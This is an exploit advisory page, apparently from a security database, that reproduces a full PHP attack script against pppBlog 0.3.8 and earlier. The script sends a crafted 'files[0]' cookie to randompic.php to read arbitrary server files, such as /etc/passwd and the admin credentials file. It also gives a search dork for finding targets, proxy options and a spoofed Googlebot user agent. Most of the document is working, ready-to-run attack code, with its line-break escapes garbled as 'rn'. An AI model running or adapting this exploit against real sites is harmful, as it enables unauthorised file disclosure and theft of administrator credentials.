pppBlog <= 0.3.8 administrative credentials/system disclosure

Advisory Content :

#!/usr/bin/php -q -d short_open_tag=on

<?

echo "pppBlog <= 0.3.8 system disclosure exploitrn";

echo "by rgod rgod (at) autistici (dot) org [email concealed]rn";

echo "site: http://retrogod.altervista.orgrnrn";

echo "dork: intext:"Powered by pppblog"rnrn";

/*

works with:

register_globals=On

*/

if ($argc<4) {

echo "Usage: php ".$argv[0]." host path path_to_file OPTIONSrn";

echo "host: target server (ip/hostname)rn";

echo "path: path to pppblogrn";

echo "path_to_file: a file which you want to see content ofrn";

echo "Options:rn";

echo " -p[port]: specify a port other than 80rn";

echo " -P[ip:port]: specify a proxyrn";

echo "Examples:rn";

echo "php ".$argv[0]." localhost /pppblog/ ../../../../../../etc/passwdrn";

echo "php ".$argv[0]." localhost /pppblog/ ../config/admin.php -p81rn";

echo "php ".$argv[0]." localhost / ../config/admin.php -P1.1.1.1:80rnrn";

die;

}

/* software site:
http://joerg.jo.funpic.org/pppblog/static.php?page=welcome

vulnerable code in randompic.php at lines 66-68:

...

header("Content-Type: image/gif");

header("Content-Transfer-Encoding: binary");

readfile("$dir/$files[$randnum]");

...

if randompic.php is called directly, without arguments, $files array is

not initialized, so , if register_globals = On, you can see all

files on target server, according to open_basedir restrictions, poc:

http://[target]/[path]/randompic.php?files[0]=../config/admin.php

now at screen you have ppp-blog admin username/password pair, crypted by

crypt() php function

*/

error_reporting(0);

ini_set("max_execution_time",0);

ini_set("default_socket_timeout",5);

function quick_dump($string)

{

$result='';$exa='';$cont=0;

for ($i=0; $i<=strlen($string)-1; $i++)

{

if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))

{$result.=" .";}

else

{$result.=" ".$string[$i];}

if (strlen(dechex(ord($string[$i])))==2)

{$exa.=" ".dechex(ord($string[$i]));}

else

{$exa.=" 0".dechex(ord($string[$i]));}

$cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";}

}

return $exa."rn".$result;

}

$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';

function sendpacketii($packet)

{

global $proxy, $host, $port, $html, $proxy_regex;

if ($proxy=='') {

$ock=fsockopen(gethostbyname($host),$port);

if (!$ock) {

echo 'No response from '.$host.':'.$port; die;

}

}

else {

$c = preg_match($proxy_regex,$proxy);

if (!$c) {

echo 'Not a valid proxy...';die;

}

$parts=explode(':',$proxy);

echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn";

$ock=fsockopen($parts[0],$parts[1]);

if (!$ock) {

echo 'No response from proxy...';die;

}

}

fputs($ock,$packet);

if ($proxy=='') {

$html='';

while (!feof($ock)) {

$html.=fgets($ock);

}

}

else {

$html='';

while ((!feof($ock)) or
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {

$html.=fread($ock,1);

}

}

fclose($ock);

#debug

#echo "rn".$html;

}

$host=$argv[1];

$path=$argv[2];

$path_to_file=$argv[3];

if (($path[0]<>'/') | ($path[strlen($path)-1]<>'/'))

{die("Check the path, it must begin and end with a trailing slashrn");}

$port=80;

$proxy="";

for ($i=4; $i<=$argc-1; $i++){

$temp=$argv[$i][0].$argv[$i][1];

if ($temp=="-p")

{

$port=str_replace("-p","",$argv[$i]);

}

if ($temp=="-P")

{

$proxy=str_replace("-P","",$argv[$i]);

}

}

if ($proxy<>'') {$p="http://".$host.":".$port.$path;} else {$p=$path;}

$packet ="GET ".$p."randompic.php HTTP/1.0rn";

$packet.="User-Agent: Googlebot/2.1rn";

$packet.="Host: ".$host."rn";

$packet.="Cookie: files[0]=".urlencode($path_to_file)."rn"; //through
cookies, log this :)

$packet.="Connection: Closernrn";

#debug

#echo quick_dump($packet);

sendpacketii($packet);

echo $html;

?>

original url: http://retrogod.altervista.org/pppblog_038_xpl.html

Security

IT News

Search

SecurityAlert Database

About SecurityAlert

ExploitAlert Database

SecurityReason Research

WLB Database

Send to WLB

About WLB

Security Audit

Schedule

Prices of services

Contact

SecurityReason IT News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Contact

About SecurityReason

pppBlog <= 0.3.8 administrative credentials/system disclosure